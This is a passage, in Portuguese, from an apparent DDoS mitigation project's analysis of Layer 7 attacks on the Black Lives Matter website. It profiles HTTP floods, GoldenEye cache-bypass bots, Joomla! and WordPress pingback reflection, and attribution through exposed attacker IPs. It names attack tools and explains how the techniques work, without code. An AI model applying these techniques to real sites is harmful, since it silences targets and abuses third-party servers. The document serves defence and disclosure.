Esse comportamento de teste continuou nos dias seguintes. Houve outro pequeno ataque na manhã de 1º de maio, que estabeleceu até 700 conexões em pouco menos de 10 minutos, e outro com pouco mais de 1.000 conexões em pouco menos de 20 minutos. No final daquela semana, esse invasor havia concluído seu experimento na tentativa de criar seu próprio script. Sua natureza simples fazia com que ele fosse bloqueado automaticamente quase assim que se conectava. Em seu pico, ele conseguia criar apenas cerca de cem conexões por minuto, o que é muito pouco para uma máquina realizando um ataque DoS.
| Aliases/Ferramentas | Nenhum |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | Nenhum |
| Ofuscação | Nenhum |
| Classe de Ataque | De várias fontes |
| Taxa de ataque | Alto |
Os ataques de inundação HTTP que descrevemos até agora nesta seção vieram apenas de uma única fonte. Nesta seção, exploraremos como uma botnet pode utilizar milhares de máquinas para realizar um ataque de inundação HTTP distribuído e como podemos identificar esses ataques em meio ao tráfego normal.
Ataques de inundação HTTP que envolvem muitas fontes (ataques DDoS) são difíceis de identificar, pois podem parecer muito semelhantes ao tráfego normal. Mas, como o site do BLM, assim como qualquer outro, apresenta padrões de tráfego que refletem o comportamento geral de seu público habitual, há alguns exemplos claros de ataques DDoS de inundação HTTP que podemos analisar.
Como era de se esperar, as pessoas nos EUA acessam o site do BLM com muito mais frequência do que outros grupos. Isso também afeta os padrões de tráfego do site. O tráfego no site do BLM segue um padrão cíclico diário. Há um pico de tráfego entre 12h e 14h (horário da costa leste dos EUA, EST). (Os números em nossas capturas de tela refletem registros de data e hora no fuso horário UTC+0.) Depois disso, o tráfego diminui até por volta das 7h (horário da costa leste dos EUA, EST), quando atinge um pico à noite e, em seguida, diminui novamente durante a madrugada.
Entre 5 e 9 de agosto, o padrão de uso por hora mudou de um padrão uniforme, como o mostrado acima, para este.
Naquela semana, entre 11h e 13h (horário da costa leste dos EUA), houve um pico de tráfego proveniente da China, Indonésia, Turquia e Eslovênia. Embora a equipe da Deflect Labs não se surpreenda com o fato de o BLM receber atenção internacional, é um pouco estranho ver isso ocorrendo simultaneamente em todo o mundo. Ao procurar por ataques de inundação HTTP com múltiplas fontes, conhecer esses padrões de uso pode facilitar muito a identificação de possíveis ataques como esse.
A anomalia que podemos observar acima foi um ataque de inundação de solicitações HTTP POST ocorrido em 8 de agosto. Considerando as dezenas de países por minuto que apresentam um número de conexões acima da média, parece plausível que esse ataque tenha utilizado uma botnet de máquinas infectadas.
Durante um período de pouco mais de uma hora, 11.514 máquinas tentaram enviar (POST) uma série de arquivos grandes para o site do BLM. Isso gerou uma enxurrada de solicitações com grande volume de dados que o site do BLM teve que processar.
| Aliases/Ferramentas | Hulk, GoldenEye, BlackHorizon |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | KeepAlive, NoCache |
| Ofuscação | Ofuscação do cliente de origem, falsificação de referência |
| Classe de Ataque | De várias fontes |
| Taxa de ataque | Alto |
Sites protegidos por serviços de mitigação de DDoS — como o Deflect — utilizam um sistema de “cache” para armazenar páginas frequentemente solicitadas e disponibilizá-las aos usuários, de modo que o servidor do site protegido não precise fazê-lo. Esse “cache” de páginas da web solicitadas recentemente permite que o Deflect limite ainda mais as solicitações feitas ao servidor protegido. Mesmo que bots simples, como os mencionados na seção anterior, consigam contornar o bloqueio, eles geralmente estão apenas recebendo respostas dos caches do Deflect com URLs solicitadas recentemente, sem causar nenhum impacto no servidor de origem.
Os provedores de ataques DoS responderam ao uso do cache criando um bot que engana o cache, fazendo-o acreditar que está solicitando uma página que nunca foi solicitada antes. Esses ataques de inundação HTTP do tipo “Cache-bypass” são bots que acrescentam uma consulta aleatória ao final de suas solicitações. Essas consultas geradas aleatoriamente fazem com que o cache considere cada solicitação como uma nova solicitação, embora os bots que estamos analisando neste relatório tenham solicitado apenas a URL principal do BLM, “blacklivesmatter.com”.
O GoldenEye é uma ferramenta de DoS da Camada 7. Ele permite que um único computador abra várias conexões com um site, cada uma delas fingindo ser um dispositivo diferente. Para isso, o GoldenEye fornece uma string de agente de usuário diferente para cada conexão. Ao longo de uma hora e meia de ataques combinados, esses 11 bots fingiram ser centenas de tipos diferentes de usuários para evitar a detecção.
Mais tarde, na noite de 30 de abril, foi tentado outro ataque envolvendo pouco menos de 11.000 conexões. Esse ataque utilizou uma versão aprimorada do “Fully Randomized NoCache Flood”. Embora o ataque comece com 9 bots utilizando algo semelhante ao código usado pelo GSH, um único endereço se junta ao ataque um minuto após o início e rapidamente supera os demais atacantes tanto em número de conexões quanto na variedade de agentes de usuário que emprega.
Se não fosse pela variedade de intensidade e métodos utilizados pelos endereços individuais, ataques como esse pareceriam envolver um único agente. Mas, como é comum em ataques contra o site do BLM, esse ataque começa lentamente com um ou dois agentes iniciais, aos quais se junta, em seguida, um pequeno grupo de “valentões que se juntam à onda”. Assim como se observou nos primeiros ataques do GSH, eles compartilham as ferramentas utilizadas em seus ataques com os demais invasores. Seja quem for esse invasor que surgiu mais tarde, ele claramente não é apenas mais um membro da equipe. Esse invasor dispõe de recursos de rede consideravelmente diferentes e, provavelmente, de um software que lhe permite causar um impacto muito maior do que todos os membros participantes da equipe GSH juntos.
| Aliases/Ferramentas | DAVOSET, UFONet |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | Nenhum |
| Ofuscação | Nenhum |
| Classe de Ataque | Refletido |
| Taxa de ataque | Alto |
Em 2013, foi descoberta uma série de vulnerabilidades em um plugin do Google Maps para o CMS Joomla!. Uma delas permitia que qualquer pessoa fizesse com que um site Joomla! enviasse uma solicitação HTTP a sites remotos. Em junho de 2013, essa vulnerabilidade já havia sido explorada e incluída em uma estrutura de DDoS existente chamada DAVOSET (ferramenta de execução de ataques DDoS por meio de outros sites). Em 2014, essa mesma vulnerabilidade foi incluída na estrutura de DDoS UFOnet.
Cada uma dessas estruturas de DDoS possui interfaces baseadas na web, fáceis de usar, do tipo “apontar e clicar”, além de uma lista integrada de sites vulneráveis do Joomla!. Isso as torna ideais para um invasor com poucos recursos ou sem grande experiência que pretenda amplificar outro ataque. Dos 23 ataques ao WordPress realizados contra o site do BLM, apenas 7 deles não foram acompanhados por um ataque ao Joomla!.
Inicialmente, era difícil identificar ataques ao Joomla! porque a maioria das conexões não fornecia uma string de agente de usuário. Agentes de usuário vazios são relativamente comuns na Internet. Muitos bots não maliciosos, mas criados às pressas, não fornecem um agente de usuário. Assim, quando observamos inicialmente esses picos de tráfego, presumimos que fossem provenientes de outro bot DoS criado de forma descuidada.
Depois de observarmos esse bot acompanhando ataques de diversos invasores, aprofundamos a investigação e identificamos uma assinatura oculta no tráfego que nos levou ao ataque ao Joomla!. Embora a maioria dos agentes de usuário utilizados pelos sites do Joomla! para fazer essas solicitações esteja em branco, um pequeno subconjunto dessas máquinas inclui a versão da linguagem PHP que foi usada para executar a solicitação. Embora agentes de usuário em branco sejam relativamente comuns, muitos dos ataques que os incluíam eram combinados com agentes de usuário que continham versões do PHP. Dada a relativa raridade do PHP, percebemos que o aumento incomum de agentes de usuário vazios, em conjunto com outros ataques, se devia ao fato de eles estarem sendo combinados com ataques ao Joomla!
| Aliases/Ferramentas | Pingback do WordPress |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | NoCache |
| Ofuscação | Falsificação de identidade |
| Classe de Ataque | Refletido |
| Taxa de ataque | Alto |
Por padrão, o WordPress possui um recurso chamado “pingback”, criado para permitir que sites do WordPress notifiquem outros blogs quando estes criam um link para seu conteúdo. Em linhas gerais, isso funciona de maneira semelhante a uma menção no Twitter. Quando um site do WordPress publica um post que contém um link para outro site, ele envia um “pingback” para esse site com um link para o post que contém o link original. Se o site destinatário também for baseado no WordPress, ele responde ao site original para confirmar que recebeu o pingback.
Os pingbacks fazem parte dos sites do WordPress desde a versão 1.5, lançada em 2005. Foi somente em 2012 que Christian Mehlmauer divulgou uma implementação funcional de código que aproveitava esse recurso para solicitar que os sites do WordPress verificassem “pingbacks” provenientes de URLs falsificadas. Dois anos depois, em março de 2014, a Akamai publicou um artigo que descrevia um ataque de “pingback” envolvendo mais de 162.000 sites do WordPress. Em setembro de 2015, a empresa anunciou que os ataques de pingback ao WordPress representavam 13% de todos os ataques de Camada 7 que enfrentavam.
Às 22h do dia 1º de maio, teve início um ataque de pingback no WordPress direcionado ao site do Black Lives Matter. Em apenas 13 minutos, foram realizadas 181.301 conexões. À medida que esse ataque ao WordPress foi diminuindo, um ataque ao Joomla! tomou seu lugar. No momento em que o ataque ao WordPress começou, o segundo invasor passou a usar serviços online gratuitos dezenas de vezes por minuto para verificar se o site do Black Lives Matter havia ficado fora do ar. Com o início do segundo ataque, o invasor aumentou a frequência com que monitorava o estado do site. Quatro minutos após o início do ataque, quando ficou claro que ele havia sido bem-sucedido, o invasor parou de verificar o site. No total, esse ataque consistiu em cerca de 350.000 conexões em um período de menos de uma hora.
Conforme mencionado no boletim original, os ataques mais intensos contra o site do Black Lives Matter foram ataques de pingback no WordPress. O primeiro ataque em grande escala contra o site do BLM foi um ataque ao WordPress ocorrido em 9 de maio. Esse ataque gerou mais de 1.130.000 conexões em pouco menos de três horas. Foi uma combinação de mais de 1.000.000 de conexões provenientes de um ataque de pingback do WordPress com 100.000 conexões de um “Fully Randomized NoCache Flood”.
As seções a seguir do WordPress apresentarão alguns exemplos ilustrativos para mostrar como exploramos as relações entre esses bots. No entanto, não examinaremos todos os ataques. Tampouco tentaremos atribuir os ataques à sua origem.
Embora os ataques ao WordPress funcionem de maneira semelhante aos ataques ao Joomla!, eles são muito mais fáceis de identificar. Esses ataques indicam claramente a versão do WordPress como seu agente de usuário. Como esses ataques começaram a se tornar mais comuns, um novo recurso foi lançado na versão 3.9 do WordPress. Essa versão atualizou os pingbacks para incluir o endereço IP que fez a solicitação original do pingback.
WordPress/4.6; http://host.site.tld; verificando pingback de 127.0.0.1
Chamamos esses endereços IP de “endereços botherder”. Alguns desses endereços correspondem a endereços IP endereçáveis globalmente, aos quais é possível acessar pela Internet. Outros são endereços que nunca deveriam aparecer na Internet pública. Esses endereçosbogon são endereços privados/reservados e blocos de rede que não foram atribuídos a um registro regional da Internet. O endereço bogon visto no exemplo acima é chamado de localhost. É o endereço IP usado por um computador para se referir a si mesmo.
Embora a inclusão do endereço do remetente tenha sido implementada para desanonimizar a verdadeira origem de um ataque, a maioria dos invasores é muito hábil em ocultar seu endereço IP real por meio do uso de pacotes falsificados, proxies, servidores privados virtuais (VPSs) e máquinas comprometidas para realizar as solicitações originais. Quando começamos a investigar os endereços dos “botherders”, presumimos que encontraríamos apenas endereços falsificados. Para nossa surpresa, os endereços dos “botherders” revelaram muito mais do que esperávamos. Ao agrupar os IPs dos “botherders” expostos em um ataque, conseguimos desenvolver perfis comportamentais que nos ajudaram a relacionar diferentes ataques entre si para entender quais provavelmente foram realizados pelo mesmo invasor.
A primeira coisa que analisamos foram os endereços IP dos servidores de hospedagem utilizados nos ataques do WordPress contra o site do BLM. Nossa análise desses endereços falsos revelou relações claras entre os ataques, que puderam ser identificadas ao examinarmos os endereços dos servidores de hospedagem.
A grande bola azul de endereços IP compartilhados, no lado esquerdo do gráfico de bogons acima, envolve dois pequenos incidentes ocorridos nos dias 8 e 9 de agosto. Essa enorme bola de endereços IP compartilhados é composta por mais de 500 endereços provenientes dos espaços de endereços IP privados. Especificamente, ela inclui 382 endereços do intervalo 172.16.0.0/12 e 177 endereços do intervalo 10.0.0.0/8. Intervalos de endereços privados não são totalmente incomuns em ataques de pingback no WordPress. Eles podem surgir quando o invasor está no mesmo provedor de hospedagem que os sites WordPress que está explorando e também podem ser criados quando um invasor está falsificando endereços aleatórios. O que é incomum é a clareza com que os endereços IP bogon sobrepostos ligam esses dois ataques.
Havia também endereços IP de atacantes que podiam ser rastreados globalmente e que ligavam entre si cada um dos ataques individuais contra o BLM. É provável que existam áreas com pouca sobreposição de endereços IP, pois muitos atacantes estavam claramente falsificando endereços IP. No entanto, as áreas com muitas conexões revelaram relações que valiam a pena explorar.
Uma característica comum a todos os ataques foi que, embora cada um deles tenha centenas de endereços de bots falsificados que aparecem apenas uma ou duas vezes, há também um pequeno número de endereços de bots que representam a maioria dos bots mobilizados para o ataque. Nos ataques de 8 e 9 de agosto, que podem ser observados na parte inferior do gráfico de endereços IP globalmente acessíveis, três endereços IP foram responsáveis por 95% (13.963 / 14.585) das conexões do WordPress que identificaram um bot.
Como o principal objetivo do Deflect é a mitigação de ataques DDoS, as investigações da Deflect Labs geralmente ocorrem dias ou semanas após o ocorrido. Isso significa que, muitas vezes, precisamos contar com nossos registros e com informações de inteligência de código aberto. Nesse caso, uma das primeiras coisas que analisamos foi quem era o proprietário dos três principais endereços IP dos atacantes. Esses endereços IP pertencem à Digital Ocean, um provedor de VPS com sede em Nova York. A Digital Ocean não fornece vários endereços IP por máquina; portanto, sabemos que esse ataque foi conduzido por três “droplets” distintos da Digital Ocean. O preço por hora dos droplets da Digital Ocean varia entre US$ 0,007 e US$ 0,119. Como cada um desses ataques durou menos de meia hora, o custo para executá-los ficou bem abaixo de um dólar.
De longe, o maior conjunto de ataques associados ao WordPress ocorreu entre julho e outubro. Esse conjunto de ataques inclui os cinco maiores ataques registrados nesse período de quatro meses.
Entre os 206 endereços IP acessíveis globalmente utilizados nesses ataques, 5 endereços IP de servidores de spam representam 65% (41.030 / 62.488) dos endereços IP de servidores de spam identificados no ataque. Cada um desses servidores de ataque estava hospedado em um provedor de hospedagem “offshore” chamado DMZHOST. Os dois endereços IP de servidores de ataque mais conectados em nossos ataques são mencionados inúmeras vezes em diversos sites de reputação de endereços IP, fóruns e até mesmo em posts de blogs como a fonte de uma variedade de ataques semelhantes.
Provedores de “hospedagem à prova de balas”, como a DMZHOST, oferecem VPSs que se anunciam como estando fora do alcance das autoridades ocidentais. A DMZHOST oferece aos seus clientes VPSs “offshore” em um“bunker de privacidade em um datacenter seguro na Holanda”e“não armazena nenhuma informação/registro sobre a atividade do usuário”.Ao mesmo tempo, os termos de serviço da DMZHOST são igualmente concisos. “A DMZHOST não permite nada (relacionado) aos seguintes conteúdos: – DDoS – Pornografia infantil – Exploração de vulnerabilidades bancárias – Terrorismo – NÃO NTP – NÃO SPAM por e-mail”.
Silenciar vozes online está se tornando cada vez mais fácil e barato na Internet. Os maiores ataques apresentados neste relatório não exigiram infraestrutura cara; eles foram simplesmente refletidos a partir de outros sites para ampliar seu impacto. Começamos a ver as autoridades perseguirem e encerrarem serviços de hospedagem “à prova de balas” e de “booter” que possibilitam muitos desses ataques, mas ainda há muito a ser feito. Na era que se aproxima das botnets de IoT, quando começarmos a testemunhar ataques capazes de gerar mais de um terabyte de tráfego por segundo, a comunidade de mitigação não deve guardar suas informações sobre atividades maliciosas, mas sim compartilhá-las de forma responsável e eficiente. O Deflect Labs é um pequeno projeto que está lançando as bases para uma inteligência de código aberto, impulsionada pela comunidade, sobre a classificação e exposição de botnets. Convidamos você a entrar em contato caso queira contribuir.
O Deflect é um projeto de segurança de sites que trabalha com a mídia independente, organizações de direitos humanos e ativistas. Ele oferece mitigação de ataques DDoS, hospedagem segura e análise de ataques, de forma gratuita para organizações que se enquadrem nos critérios. Todas as nossas ferramentas são de código aberto e operamos de acordo com termos de serviço rigorosos e princípios que promovem a privacidade de nossos clientes. O Deflect é um projeto da eQualit.ie, uma organização canadense sem fins lucrativos que atua na promoção e defesa dos direitos humanos na era digital.